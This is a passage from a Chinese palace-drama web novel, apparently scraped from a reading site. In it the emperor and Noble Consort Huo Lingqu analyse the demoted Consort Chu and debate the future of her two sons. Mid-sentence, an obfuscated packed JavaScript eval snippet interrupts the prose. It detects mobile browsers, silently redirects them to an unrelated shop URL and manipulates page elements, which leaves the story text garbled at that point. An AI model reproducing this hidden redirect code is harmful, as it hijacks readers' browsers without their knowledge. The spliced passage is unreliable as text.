“我震惊的是她做这么些年最得宠的妃子,对你居然没有信任。”至于那副姿态相当于谴责皇帝对不住她和她父亲,霍灵渠都愿意相信令愔夫人是根本没有意识到。 “她看不起我嘛,她都在鄙薄我了哪儿还能有信任?”嬴忱璧理解:“只不过,她虽然没有意识到她那副姿态相当于谴责皇帝,但她的确在谴责皇帝。” 霍灵渠讶然,嬴忱璧嗤笑笑,霍灵渠豁然领悟,令愔夫人是觉得皇帝同样认为有荆湖的秀女告御状是霍家的阴谋但仍选择顺从霍家,她认为这是对不起她。 “一塌糊涂吧?”嬴忱璧给个评价,感观还是昨夜的感观,只是皇帝不想再顾及了,令愔夫人今早都能帮衬杭婕妤啊:“朕猜,昨天傍晚应该没几个人看好令愔夫人能应对得当,但应该谁都没想过她竟然能应对成出乎所有人意料的一塌糊涂。” 霍灵渠看着皇帝,嬴忱璧被看得莫名:“怎、怎么了,贵妃?” “这样一塌糊涂怎么会能做六年多你最宠的女人?”霍灵渠觉得讽刺,嬴忱璧猛心酸,霍灵渠沉声道:“我想过,令愔夫人对你就没有情义,没想过体谅你、与你共进退吗?但她既然是看不上你的,这话没必要多言了,但应该是宠妃令皇帝舒心吧?” “你这位宠妃呢?你与她之间若有冲突,她要让你来退让,这样的人怎么会能做宠妃,真是奇谈了,陛下是有多受委屈啊。”霍灵渠陡然一恨:“你受这些人委屈,所以你就冲着霍家发泄,因为霍家对你比这些人对你好多了,是吗?” 嬴忱璧心惊肉跳,好像有铁锤在捶打着他心头的软肉,酸涩极了。 “贵妃?”嬴忱璧双手无措,忽然不知该怎么办。 霍灵渠灌杯茶消消火,冷静会儿说:“谈令愔夫人吧。” 嬴忱璧应:“好。” “昨天在伊人殿,陛下大怒时,令愔夫人没有跪,我以为她不懂,只以为霍贵妃不跪,她自当也不必跪,看过她在拾翠阁外面对皇帝的高姿态后,我仍然觉得令愔夫人是不懂在霍贵妃不跪时她应该跪的关窍,但她对自己的定位,真的是继后。” “她不怵霍家,包括她父亲,若对霍家有忌惮,不会在此时送个女儿来,他们信奉的应该真是霍家死期不远矣,没把霍家看眼里过。”言及此,霍灵渠微微一怔,嬴忱璧稳住心,帮贵妃曝出症结:“她在与郭氏翻脸前就已经看不上郭氏了?” 霍灵渠看向皇帝,嬴忱璧笑道:“这又不难猜,皇后是迫于太后的威压才将自请辞位,若是令愔夫人和楚家对霍家都没看在眼里,还能看得上郭皇后吗?” “昨天在拾翠阁外,她面对陛下没有行礼;今天,她对霍贵妃没有行礼。”霍灵渠斟酌着又迟疑,还是皇帝帮贵妃补出:“昨夜,她不禀报就将庶妹留宿宫中;十多天前,她对郭皇后不行礼就走,对皇帝,不告缘由就要求许她与皇后不再会见。 而今日,若是太后出面惩戒她和她两个孩儿,她面对霍太后时还会屈膝行礼吗?但假若是太上皇惩戒她楚家或者将她绑了,她再见到太上皇时敢不再行礼吗?” 霍灵渠望向广阔的天际。 答案不言而喻。 不是令愔夫人不怕死而是令愔夫人对他们这些人全没看在眼里。 “难怪,在郭皇后将辞位面前,她不怵霍家、不怵霍太后!”皇帝咬字既沉且重:“所以她是真看不上我,我连请太上皇压制霍家都做不来啊。” “阖宫都知道令愔夫人眼高于顶,她会认为她不配母仪天下吗?”皇帝嬴忱璧冷笑:“所以她对自己的定位真的是继后,且直接把皇帝的想法排除了。” 两刻钟后,令愔夫人降位的旨意传遍宫闱,褫夺封号,降做正三品昭仪。 138. 第138章 褫夺封号、降位,对最得宠的嫔妃?不,对此前最得宠的嫔妃。 意外?似乎也没那么意外,这半月来特别是近两天的迹象着实不少了。 但不管怎样,皇宫中还是有掀起点水花。 太妃宫苑内议论纷纷,昨儿个傍晚和女儿大吵过的戚太妃都没落下看戏,更不必朱太妃再点拨什么,好多位太妃都觉得这楚昭仪八成还得降位,很简单呀,楚昭仪和楚家能认吗,不能认就会扑腾,以楚昭仪的做派,越扑腾不是越作死么。 在拾翠阁的翁嫔琢磨,楚昭仪和郭皇后闹翻时的表现大概就已经预示了吧。 长春宫中,霍太后手微微顿下,在小佛堂的郭皇后惊喜了,太后这回非但没有使唤她、只让她在小佛堂诵经,还传太医给她治伤,她手掌不疼了在小佛堂打个盹儿醒来就听到令愔夫人被褫夺封号还降位的消息,感觉好舒服,通体舒泰。 挨到能走了,郭皇后神清气爽地走出小佛堂,在佛堂外撞见霍才人霍鹣娇,被吓了吓:“你在这儿想做什么?”细辨还能清晰的辨出郭后语气中的怯弱。 霍鹣娇来找郭皇后去泄愤,她就说令愔夫人要倒霉了,她那堂姐的脸总不能是摆设吧。得到钟萃宫倒霉的消息,霍鹣娇苦逼得没什么余财了都感觉好受些了,就来找太后姑母,要把楚昭仪擅自留在宫中的庶妹轰出去,太后便让她来找皇后。 郭皇后对此当然没意见,二人一拍即合,杀向钟萃宫。 钟萃宫很沸腾,自家娘娘被褫夺封号、降位,这对于向来最得宠的钟萃宫不啻于从云端跌落,没有二心的宫人们着急心焦,身为妹妹的楚姑娘更焦虑,要嫡姐去挽回,嫡姐不肯,要带两个皇子去求怜惜,这嫡姐又不肯,她实在忍不了了。 “你要摆谱摆到何时啊?被褫夺封号降位,这有多严重,你都不懂吗,你若再不把你这副自命清高的嘴脸收起来,霍贵妃就能把你压得没有立锥之地!” 楚昭仪有些累了要回寝殿,楚姑娘都拦着不让她走:“昨天傍晚若非你非要在陛下面前摆谱,能被霍贵妃钻到空子吗?爹被暂且停职,宫里又很快会有新人进来,这种节骨眼儿上是你由着性子胡来的时候吗,你还嫌眼前这教训不够吗? 是,你有两个皇子,两个皇子!两个皇子,以前是风光,可你若失宠了,陛下今后会有越来越多的皇子,顶在前的这两个皇子就是最早做踏脚石的呀!” 楚姑娘越闹越不像话,胡姑姑和几个宫女都忍无可忍要把她拖走时,郭皇后带着霍鹣娇耀武扬威地闯进来,楚昭仪看见来人愣了愣,只愣了愣没多想,胡姑姑也没多想。 敏锐的宫女怀疑,郭皇后能闯进钟萃宫不奇怪,她家昭仪请旨与郭皇后不再会见,守门和在殿外的宫人也不可能真敢拦,但怎会没人来禀告? 霍鹣娇一马当先攻击:“你不是请旨了要与皇后不再会见吗,你怎么还不退下,陛下只允许你与皇后不再会见,可没允许你能把皇后轰出钟萃宫。” 郭皇后眉眼间尽是得意的舒坦,虽然她眼下被霍贵妃压得像惊弓之鸟,让她自个儿冲楚昭仪叫嚣,她很可能叫嚣不出来,但有霍鹣娇冲锋让她看也足足够了。 霍鹣娇话锋一转,又奚落:“不过也是,令愔夫人还能有什么做不出来,哦不好意思,怪我,喊顺嘴了,没改过来,该称昭仪娘子才是,至少得从二品妃才能称娘娘,楚昭仪可没有资格了,你和我这低位嫔御一样只能被称一声昭仪娘子了。 哎说远了说远了,楚昭仪您多厉害啊,见贵妃不行礼,见皇后不行礼,还要与皇后不再会见,见到陛下还是不行礼,阖宫都没有谁的腰杆能比您直,妾就祝昭仪您的腰杆不论发生何事都不要弯啊,不然多辜负您的清高和大家看热闹的期待。” 虎落平阳被犬欺,钟萃宫何时遭受过这般欺辱啊,可不论是胡姑姑还是忠心的宫女们,都硬忍了下来没和郭皇后还有霍才人硬碰,钟萃宫失势的序幕仿佛要在此时拉开,楚姑娘更仿佛才意识到嫡姐还有这许多毛病,捏紧拳头愤恨得眼眶都红了。 楚昭仪没置一言,转身离开。 郭皇后还真有扬眉吐气的快感,随即让人把这个楚昭仪擅自留在宫里的轰出去。 心酸痛苦的楚姑娘憋住泪,明白不能再闹了,顺从地去收拾行李。 霍鹣娇请皇后回怡华宫吧,这点小事,她留着督促就行了。 郭皇后想想也对,哪有让她等着楚昭仪这妹妹收拾行李的理儿,就高兴的回怡华宫去了。 回到怡华宫,发现怡华宫像被打劫过,奴婢告诉她,霍雄鹰把她的财宝几乎搬空了时,郭皇后哭不出来又发泄不出来只觉得要被活活气死了,赖嬷嬷建议她去找杭婕妤算账,都是杭婕妤害的,郭皇后才爆发怒火,带人去婵娟馆。 那厢边钟萃宫,收拾好行李的楚姑娘走前又去找她嫡姐闹通:“你清高,你自命不凡,见贵妃不行礼、见皇后不行礼、见陛下不行礼,你是有多自命不凡啊,若哪天父亲和你娘让你不满了你是不是也要对父母毫无礼数,你把自己当谁啊? 你是有多绝世出尘与众不同啊,你想自命不凡,你不凡得起来吗,看看,人家一个从五品才人都能欺到你头上来,你眼下在宫中就是个笑话,不要说做嫔妃了,你就是在宫外做个官宦家的正头娘子,都没有哪个丈夫能消受得起你这种妻室!” 楚昭仪靠在凉亭的鹅颈椅中,很静,阳光拂过她的面颊,她似比阳光还静。 她这种静,不是安静、不是平静、不是冷静镇静,是一种皮囊没有情绪的静,是谁都看得出来她内心不静但她的外表她表现出来的就是静,像深海的海平面,海面下聚集着力量在翻涌在咆哮怒号,但海面上,一丝波纹都没漾出来。 庶妹被宫女请走,又沉寂会儿,楚昭仪的脸上露出讽刺。 可惜,这是个是非之地。 在风口浪尖上不避着点还没避讳,岂还能没有是非? 有心人看见,没一会儿就传进霍太后、皇帝和霍贵妃的耳中了。 将远行的湘王带媳妇来向母后辞行,霍太后没搭理钟萃宫这点事。 皇帝嬴忱璧在查看霍雄鹰收缴上来的财物,霍贵妃陪同。 从赖嬷嬷家查抄出来好几样连皇帝他都认得出是皇后的珠宝,嬴忱璧扯扯嘴角,仍还有感到丝悲凉,他知道,纵使他带着这些赃物去指证赖嬷嬷,郭氏仍会被赖嬷嬷哄得团团转。嬴忱璧看向贵妃,皇帝他直觉就觉得霍贵妃窥测得出他心中所想。 “这讽刺是对朕的讽刺吧,这是要愈发看不起朕了。” 嬴忱璧犹若欲盖弥彰,但到底有没有含沙射影,可能皇帝自己也不清楚。 霍灵渠低眸默认:“陛下若还想顾及,何必在死心前放手?” “朕,是君王。”嬴忱璧注视过霍贵妃,缓步走到殿前,让守着殿门的宫人退下,待霍贵妃来到帝王身侧,他望着开阔的视野,不疾不徐道:“因两个皇儿,朕想过再顾及她几年是朕没有怀疑过她的品行,朕相信她至少还有品行。 可今早,她是管不住三皇子吗,她居然能帮衬杭婕妤,楚氏还有她自以为傲的品行吗,朕还能相信留着她不会祸害两个皇儿吗,朕如何能再想顾及她。” 是故,皇帝对媳妇放手了,对至今还能牵动他心绪的媳妇,霍灵渠想。 问答在楚昭仪,指向在郭皇后,这一点,嬴忱璧知,霍灵渠也知。 嬴忱璧迟疑下还是没多言,左右才两个月而已,再过俩月自会烟消云散。 大总管近前来禀告:霍才人从钟萃宫带走了几件楚昭仪的首饰。 皇帝闻言转向霍贵妃,霍灵渠反看他,这有什么值得皇帝讶异的吗? “霍才人瞒住了楚昭仪?”嬴忱璧忍了忍、忍住了,没咳。 “是,是几件不起眼的首饰,楚昭仪应该察觉不出来。”大总管都有点没眼看,楚昭仪好歹还有两个皇子呢,贴身侍女居然能被霍才人威逼住。 “知道了。”皇帝让大总管退下,又喊住,让大总管把殿内的箱笼收归入库。 霍灵渠侧望眼,回眸,想和皇帝谈谈楚昭仪,嬴忱璧遂带贵妃走走。 步下丹墀,行至皇极宫正大殿前宽阔的广场中央,霍灵渠环视圈,自觉舒适些了,说:“我在想,楚昭仪笃定有荆湖秀女告御状是霍家针对她的阴谋、她认为皇帝也觉得秀女告御状是霍家的阴谋还选择顺从霍家是对不住她的根由。” 嬴忱璧语调懒懒的:“她心高嘛。” “很多人都心高气傲,我们说的心高是正常的心高,而楚昭仪?”霍灵渠略一停顿,忍不住摇头:“我以为,比起心高,她更像自负,盲目自负。 如陛下刚才所言,她露出来的讽刺是对陛下的讽刺,这是要愈发看不上你了。换言之,被褫夺封号降位,她不觉得她有何不妥,她自觉完美,借用陛下昨夜对杭婕妤的评价就是:她就是被裁剪到用末品份例,她都不会觉得是她有不当之处。” 嬴忱璧审视过,不得不赞同:“贵妃一语中的。” “朕想岔了,心高怎会在遇事时不想是自己有不好是自己想法偏颇?”皇帝又纠正:“是自负,盲目自负才会与自省有冲突,楚昭仪才会是那么副姿态。” 抽丝剥茧一般,霍灵渠再陈述个观点:“她不怵霍太后、不怵霍家,我以为是在楚昭仪看来霍家没有人臣本份而霍太后非但不予约束、反而还依从娘家。” “楚氏自己难道有嫔妃本份吗,五十步笑百步,楚氏不至于。”皇帝不再相信楚昭仪的品行也没得质疑楚氏会连这点品格都没有。 霍灵渠淡笑笑:“陛下才赞过我对楚昭仪的看法一语中的呢。” 嬴忱璧微怔,犹若被当头棒喝,楚氏会自觉有不当之处吗,身为嫔妃,楚氏会自觉没有嫔妃本份吗? 嬴忱璧笑了,原来还是皇帝他一叶障目。 “不配!”嬴忱璧冷冷吐字:“羞辱她的皇后、贵妃不配让她行礼,她认为委屈她的皇帝不配她行礼,不知约束娘家的皇太后不配得她敬意,她当然有嫔妃本份!”皇帝愣是怒了:“还真是她妹妹说的,她把自己当谁啊?” “朕竟不知楚氏是这么个货色!”嬴忱璧气息翻腾,显见得被气到了。 霍灵渠迈过步,一气呵成道:“她帮郭氏向陛下求三个高位嫔妃位时我相信她是真心,但同样的,她不会认为来三个高位嫔妃会妨碍她,就像她不会把霍贵妃看在眼中,或者说,她不会把任何后来者看在眼中,因为她入潜邸时只有郭氏在她前面。 郭皇后若辞位,就该是她了,虽然她可能没有这想法,但不管她有没有这样的想法,她这两天的行为都昭示清楚了她骨子里藏着这个自觉,她有没有想法都不重要了。她又清高,不屑相争,故,她的期待会是皇帝主动把凤冠给她。 至于她会在和郭氏翻脸前就看不上郭氏了?应该是,她认为皇后该高高在上,被欺压的皇后还如何能配叫她看得上,虽然她可能还是没有这想法,但她?”霍灵渠摇头:“藏在她骨子里的自觉,不必她有想法就能推动她行事,她有没有想法都没差了。” “她之前会给郭氏奔走,就是陛下说的,她可怜郭氏娘仨。” 霍灵渠洞若观火:“但她对郭氏娘仨的这份可怜,比起心怀怜悯,我更愿意猜测为是她自视甚高,因为自视甚高,她认为面对她认为的不公就应该挺身而出。 还是因自视太高,她对于她和霍家之间的认知是霍家想扳倒她而不得,故而对于霍家没把她看在眼里,她入不了耳,她直觉笃定有荆湖秀女告御状是霍家在针对她。 还是因为她自视太高,她自觉完美,所以当与人起冲突,她直觉就是他人的错,纵使面对君王,一个完美的人又怎么能是个趋炎附势、卑躬屈膝之人,所以她不能行礼。何况,她自视高自觉完美,她在宫中对自己的定位就不只是嫔妃了。” 霍灵渠看向皇帝。 嬴忱璧被气笑了:“她还自觉她是个世外高人她在宫中还负责审判?” 霍灵渠推测:“否则应该撑不起她自觉对方不配她行礼的不配二字。” 嬴忱璧险些有些头昏脑胀。 “自入潜邸,六年多来她最得宠,对她的感触应该是正常,很正常,就应该是这样。”霍灵渠小结:“因为她的自视,她骨子里的自觉就是,她就应该最得宠,纵使面对皇帝,她照样觉得皇帝该对她最好,故而当你们有冲突时她直觉你对不住她。” 嬴忱璧咂摸着就应该三字反倒都平和了:“所以,六年多来她都是最得宠,她自觉跟我没关系,以她的才貌,她就应该是最得宠,不管这皇帝是不是我,不管这皇帝是谁,她都应该是最得宠,反而若皇帝不是最宠她,她还会觉得是皇帝眼瞎? 所以六年多来她都是最得宠还对我没有信任不只因她看不起我,还有她自觉她最得宠跟我没有关系之故,她只能看到自己又如何能对我生出信任来?” 霍灵渠在心里补充:还因为皇帝你对她太好。 楚昭仪嘛,很透彻了,如若嬴忱璧符合楚氏对天潢贵胄的想象,乃至更威风凛凛,楚氏不得宠都只会想是她自己不够出众;反之,就是现在那副姿态了。 “她还曾对朕侃侃而谈过假若她经受郭氏的遭遇!”皇帝怒道:“朕相信,她这么说时她真是言自由衷,但扎根在她骨子里的自觉当然是:她和郭皇后不同。 她父亲都这么想,他们楚家和郭家不一样,否则,这活生生的例子,他们是看不懂吗,他们当然看得懂,所以才要鄙薄郭家没用,他们楚家当然和郭家不同!” “假若她经受郭氏的遭遇?”嬴忱璧嗤之以鼻:“呵,她当然就和郭氏一样的心理了,朕还相信,她若是等不到朕覆灭霍家,还不知要怎样鄙薄朕呢。” 嬴忱璧额头青筋暴起,压着暴怒迫自己冷静,霍灵渠思忖道:“霁之曾猜,去年,陛下在七夕夜陪伴翁美人是想晓谕众人,楚氏最得宠嫔妃之位快到头了,翁嫔得宠将超过楚氏,臣妾斗胆想问陛下,陛下是此意吗?” “是!”嬴忱璧冷静下来:“可惜,几乎没有人能看出来,朕没想到,霁之看出来了。”皇帝又怒:“剩下那些个自觉心智不凡的就全是群睁眼瞎!” 霍灵渠默然,嬴忱璧一怔,恍然贵妃的猜想,皇帝发觉当真好笑了:“楚氏自觉她就应该最得宠?如若有人得宠超过她,她还得是那副嘴脸吧,朕与这楚氏果真没有疑虑最终必定互相厌恶,朕瞧她是比那些趋炎附势者都不如远矣!” “这告御状的小姑娘都算在帮她了。” 嬴忱璧凤眸阴翳:“否则,若因有人得宠超过她,她变成那么副嘴脸,这名声还不知得落得有多差。” 霍灵渠问:“陛下想让楚昭仪病逝?” 嬴忱璧没有否认,迎着贵妃的注视,皇帝不禁又多补两句:“她是副什么嘴脸,贵妃也看见了,眼下她已经想当然自觉该她做继后,若是大皇子没了,她还能不想当然自觉应该由二皇子做储君吗,朕不能再留着她祸害两个皇儿。” 霍灵渠沉默下,看向随侍在远处的宫人们,招招手,让端茶的宫人过来。 两名捧茶盅的宫女近前来,皇帝发现是有点渴了,拿茶盅的速度比贵妃还快。 皇帝和贵妃饮过茶水,宫女们退远,霍灵渠不厌其烦地跟皇帝掰扯:“昨夜,陛下曾言想等两个皇儿懂事些再冷落楚昭仪,可你突然想不好该等到皇儿们几岁时? 宫中规矩,皇子最早七岁、最晚在十岁时要搬出内廷,三皇子三岁,二皇子将满五岁,按陛下昨夜想法最多再等四年而已,陛下可曾想过你怎会想不好?” 嬴忱璧眉宇微蹙,垂眸,若有所思。 霍灵渠温和笑:“所以,陛下其实是知道的,这两个孩子不能接受你冷落他们的生母,不管是他们三五岁还是二三十岁时,你才会想不好,否则你根本无需犹豫。” 嬴忱璧依然垂眸不语。 霍灵渠自顾总结:“所以,这根源不在于楚昭仪,楚昭仪病逝才是麻烦,陛下心里应该很清楚,楚昭仪若是病逝,有的是人包括楚家人都会让这两个皇子相信是霍家害的楚昭仪。臣妾请问陛下,届时,这死局你还能解得开吗?” 正徽帝嬴忱璧神情凝滞,双目若失神,眼前一个画面闪过,一个十二岁的少年质问他,为何要这样羞辱他的母亲让他母妃难堪?正徽帝训斥这少年胡言什么? 少年讥笑,你追尊一个做过云南王小妾的女人为皇后都不肯册立我的母妃为后,还不是故意羞辱我母亲让我母妃难堪吗?再定睛一看,是十二岁的二皇子。 正徽帝闭目醒醒神。 “朕…对儿女是否宽纵了些?” “是太过宽纵。”霍灵渠直言不讳,惹得正徽帝不禁抬眸看眼霍贵妃,霍灵渠坦荡荡:“做家长必须要有威势,可陛下在陪你从潜邸过来的三个妻妾面前有威势吗? 陛下昨夜曾言杭婕妤不可一世,我曾对呛:你看她若是遇上我大哥或者晏霁之,你看她还能不能狂得起来?今日,我想再提一点:楚昭仪,若是六年多来,你对她都是居高临下,我敢说她今朝对你摆不出任何高姿态,郭氏更不用说了。 你在这三人面前没有威势,在她们给你生的五个儿女面前同样没有威势。大皇子因何被送入魏王府小住?倘若你在长子面前有威势,大皇子敢拿刀冲进长春宫说要砍死霍贵妃吗,翁嫔的小皇子出生,大皇子敢说出不想回宫来看父皇疼爱别的儿子吗? 大公主五岁多不小了,三岁都不小了,昨夜我说我看着你的女儿想到我大哥和晏霁之,其实我的假设不成立,若是晏霁之的女儿或者我大哥的女儿,没胆量跟父亲闹。三岁的小娃照样懂得不敢,可你的大女儿五岁多了都敢找你哭闹。” “你再看昨夜,对二皇子和三皇子,你居然能说出你想不好,你不觉荒唐吗,三五岁的孩子,你竟然都拿不定主意,你还记得你是一个父亲吗?”霍灵渠都想恭维:“难怪楚昭仪敢对皇帝你有那么高的姿态哦,你这个家长做得还能叫有威势?” 正徽帝嬴忱璧若受刺激般瞪霍贵妃,霍灵渠踢回去:“你反驳我呀,我一个做姐姐的都能管好霍桑柔,你做父亲管不好孩子,你这个家长做得能叫成功?” 嬴忱璧莫名有点委屈巴巴的,是他想搞成这样吗? “陛下太强求了。”霍灵渠善解人意宽慰:“你对圆满的执念,你想把你童年没有得到的爱从家庭里补回来,令你疯狂的对你的家眷们好,好到强求你做一个好丈夫、好父亲,强求到适得其反,陛下多宽宽心、放下执念,自会慢慢好转。” 嬴忱璧看看贵妃,浑似能看穿贵妃这点小心思,说的冠冕堂皇,不就是想离宫么,皇帝在心里哼哼,若有似无的就带了股傲娇:“做个好父亲难道是强求吗?” “是你觉得做一个好父亲该与孩儿的生母和睦,才有强求二字。”霍灵渠孜孜不倦道:“我以为如何做父亲与孩儿的生母无关,做母亲亦然。假若我嫁人生子,和丈夫不能过了,我会带孩子和离,我对我孩儿的态度与孩子的父亲无关。” “当然,孩子也不会影响我对孩子父亲的态度。”霍灵渠补充。 嬴忱璧神情有点莫测:“贵妃是说,若你将来与丈夫不睦,你会要和离?” 霍灵渠没察觉皇帝的话中意,就奇怪皇帝怎么听的,怎么就能跳到不睦:“不是不睦,是不能过了,不睦有什么不能过的,两个人各过各的又不影响。” 嬴忱璧在心里松口气:“那什么情况会让贵妃觉得不能过了要和离?” “单就夫妻之间应该没有什么要闹到和离的。”若能嫁人,霍灵渠对丈夫要求真不高:“他对霍家憋着坏或者想害我不算,那已经是仇人了不能混为一谈。” 嬴忱璧表示懂了:“若假设闹到要和离的地步,贵妃不愿意为孩儿妥协?” 霍灵渠反问:“都不能过了还怎么妥协?” 嬴忱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459330|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璧提醒:“贵妃不是说你能做到为孩儿牺牲性命吗?” “爱孩儿跟爱自己有冲突吗?”霍灵渠目视皇帝,放慢了节奏却更有锋利:“做母亲能为孩儿牺牲性命就该什么都为孩儿退让吗,就不配再拥有自己了吗? 臣妾问陛下,一个连自己都不爱的人真的能懂得爱别人吗,母亲能为孩儿牺牲是母爱,但母亲也是人,包括做父亲,难道人做父母之后就不配爱自己了吗?” 嬴忱璧微怔,昨夜朦朦胧胧的感觉略微清晰了些的又再浮上来:“自己?” 霍灵渠向奉茶侍女招招手,捧茶和捧糕点以及捧水果的宫女们悉数近前来,霍灵渠捧起茶盅喝茶,让皇帝慢慢想。她饮下半杯茶,吃两块糕点,让宫女们退下吧。 嬴忱璧:“……”他还没喝茶呢,皇帝他还想喝茶的。 贵妃真不是故意的吗? 嬴忱璧眼神有些诡异的看向贵妃,霍灵渠反看向皇帝,就差告诉皇帝,我就是故意的,嬴忱璧不想计较地转过视线,霍灵渠乘胜追击:“你最爱的也是你自己啊。 看看芮家,看看陪你从潜邸过来的三位,很明了了,十多年来,这些人再不堪都没有把你击溃过,因为你想要做皇帝,这是你最大的信念、你的最爱,你尽量想把所有都拢住,但当你必须做出取舍时,除做皇帝之外,你全都可以舍掉。 就像昨夜你还在想为两个孩子再顾及令愔夫人几年,今天杭婕妤推了一把,你不再相信楚氏的品行,你意识到留着楚昭仪会很危险,她会祸害你的皇嗣,你便毫不犹豫想让昨夜你还想要顾及的女人病逝。” 嬴忱璧怔住,这样的犀利,这样直击灵魂把本人都没有过想法但是深藏在骨血里的自觉剖出来的犀利?嬴忱璧说不上什么感觉,大概有点不知道该怎么应对吧…… “做个好皇帝吧。”霍灵渠说,嬴忱璧看向贵妃,霍灵渠失笑:“这个信念让你强大、让你坚强,当然不该辜负,否则你如何对得起自己?所以,做个好皇帝吧。” 嬴忱璧豁然开朗笑:“好!朕一定谨记贵妃教诲。” 霍灵渠递只梨给他:“温汤监培育出来的,我觉得太早了,估计不甜。” 嬴忱璧忍不住大笑,接过甘梨,笑声又戛然而止:“楚昭仪若不病逝,对这两个皇儿,朕就顺其自然吗?说朕强求也罢,朕不喜欢这样的无力感。” 霍灵渠古怪看他,看得嬴忱璧都被带出点诡异:“朕,怎么了吗?” “两位皇子才三五岁,将如何成长全在陛下手中,楚昭仪不病逝与陛下对这两位皇子的教育能有什么关系?”霍灵渠疑惑,皇帝面对儿女时有这么困拙吗? 嬴忱璧又有点受刺激,皇帝绝不相信他这么笨:“楚昭仪既不病逝,和皇儿们天天见,两个皇子还能不受生母的影响吗,贵妃能解决得了这生母对孩子的影响吗?” 霍灵渠理所当然:“你把他们兄弟放在宫外养不就行了。” 嬴忱璧:“……” 扎心的皇帝想驳倒贵妃,结果发现反驳不了,只得默默忍苦逼:“皇儿们还这么小,把他们送去宫外养对他们的成长怕是不妥吧,何况又能送去宫外哪里?” 霍灵渠再奇怪的看看皇帝:“送到宗亲家中或者送去太微宫,应该都行吧。” 再被扎心的皇帝着重表明重点:“朕是担心会影响到皇儿们的成长,朕不希望这两个皇儿因此和朕隔阂,朕会犹豫想不好是不想父子间生嫌隙,贵妃懂了吗?” 霍灵渠沉默下,是鞭辟入里的苍白:“陛下若将二皇子兄弟放在宫外养,他们若有怨,怨恨楚昭仪恐怕远胜于你,他们应该更会讨好你而非敢表现出对父皇有怨。” 嬴忱璧闻言只觉有种难以言喻的感觉,霍灵渠直视皇帝,诛心道:“就是这么残忍。” 他古怪的看向贵妃,霍灵渠把控道:“对,就是对你说的,就是这么残忍,你把他们捧在手心里,他们不知感恩反哺只想得寸进尺;但当你对他们示之以威,他们反而会如履薄冰想拼命讨好你,披着父子亲情的皮,本质还是个利字。” 霍灵渠往前迈步,下巴微抬,眉目傲然:“比起你想让楚昭仪病逝,天上地下。” 顷刻间,嬴忱璧眼底闪过的是他自己都没有意识到的防范,他迅速整好心绪,以君王冷眼旁观的姿态褒奖:“贵妃的驭人术,看来朕都不得不赞一声妙也,楚昭仪得罪你,她生的这两个皇子将来会长成什么样是全在贵妃手心里了。” “所以你该放我出宫。”霍灵渠顺理成章接,嬴忱璧:“……”陷阱原来在这里,而皇帝他傻乎乎的就跳进去了,嬴忱璧斟酌着想做弥补时,霍灵渠再一击:“多少人家看霍家都自居自家名声好,可有几家出个沦落过风尘的女儿进宫能做霍灵渠第二? 倘若是你的女儿在我的位置,你和你女儿能做到我和霍家的从容吗?多少好名声的人家都要羞于启齿、将之视作家族污点不愿再见乃至要将之逐出家族要逼她去死。 但我霍灵渠和霍家,我们就不在意,我们不畏人言,我们的心态跟我是清白的大家闺秀进宫没有不同,你从来没有思量过我们为何能这么坦然吧?” 嬴忱璧一滞,忽然有些难以面对贵妃,他,他真的没有思量过。 若他对贵妃上心,他肯定就想过了!皇帝骤然不是滋味,他一再说在意贵妃,他说在意贵妃时真的不觉得他是在说假话呀,可霍贵妃就是能一再戳穿他,难道他也如楚昭仪那般,言自由衷,但隐藏在骨子里的就是截然相反的自觉吗? 他甚至想到了晏霁之,晏霁之肯定有思量的吧。 “端午,我要出宫一趟,外祖家有族人来,表哥要带我见族人。”霍灵渠友善言:“陛下也去见见我祖父吧,让我祖父再给你宽宽心,陛下把自己的心箍得太紧了。” 沉默片刻,嬴忱璧应:“好!” “陛下昨日为何要越过太上皇传令让荆湖巡抚暂且停职?”霍灵渠本着不翻脸的时候多攒点皇帝将来同意放她出宫的积累的原则劝诫:“对六品以上官员应报给太上皇再定,虽然陛下这个提议,太上皇不会驳掉,但必定会让太上皇不舒服。” “贵妃心细。”嬴忱璧感怀:“两年,最多两年,圣人的耐心必将耗尽。” “最可能明年年底?”霍灵渠闻言忍不住心提起来,嬴忱璧嗯道:“朕猜也是这段儿,朕想立威招揽人马,晏霁之也提醒朕了,朕想想,朕是心急了些。” 霍灵渠压住忧思装若无其事:“陛下威信已经很重了,阖宫对你让个巡抚停职都平淡,妾反而觉得看太上皇迟暮、皇帝如日中天的想法才已经是主流。” 嬴忱璧只告知贵妃:“晏霁之想让原牧炽在京中再留半月。” “真的?”霍灵渠立时欢喜:“六哥哥知道了吗,他愿意的吧?” “应该没什么不愿意的吧。”嬴忱璧小心思冒出来,看着贵妃的欢喜样就有点阴阳怪气:“贵妃看原牧炽和晏霁之喜欢什么样的姑娘,贵妃也希望他们早日成家吧?” “嗯嗯,”霍灵渠赞同:“六哥哥喜欢跟他玩得好的姑娘,晏霁之——”呃?晏霁之?晏霁之会喜欢什么样的姑娘?霍灵渠卡住了,晏霁之喜欢什么样的姑娘? “晏霁之如何?”嬴忱璧瞧贵妃这遇到疑难样,脸又臭些,有那么难答吗? “呃……”若非得给个标准,她发现只有一个,就是按流光姨娘的标准,霍灵渠郁卒,轻咳道:“晏霁之挑剔,我也不知道他会喜欢什么样的姑娘。” 嬴忱璧眼神愈发狐疑:“再挑剔,总有个方向吧,比如活泼的、文静的、有才情的。没几天前贵妃不就一字不差的猜中了晏霁之看不中那位江南名妓的缘由,贵妃还说,你若是连这点都猜不中,流光姨娘和晏霁之四年多才是假的吧?” 霍灵渠:“……” “正因我对晏霁之还算了解,我才猜不出他会喜欢什么样的姑娘。”霍灵渠说。 “不是吧?”嬴忱璧耐心还行的陪贵妃绕弯:“算上流光姨娘,晏霁之可两段情殇了,论谈情说爱,谁有他轰轰烈烈,怎么会,流光姨娘连他会喜欢什么样的姑娘都看不出来?再不济,按玉藏珠或者流光姨娘的标准来找还能出错吗?” 霍灵渠眼观鼻鼻观心:“他的眼光又不是一成不变的。” 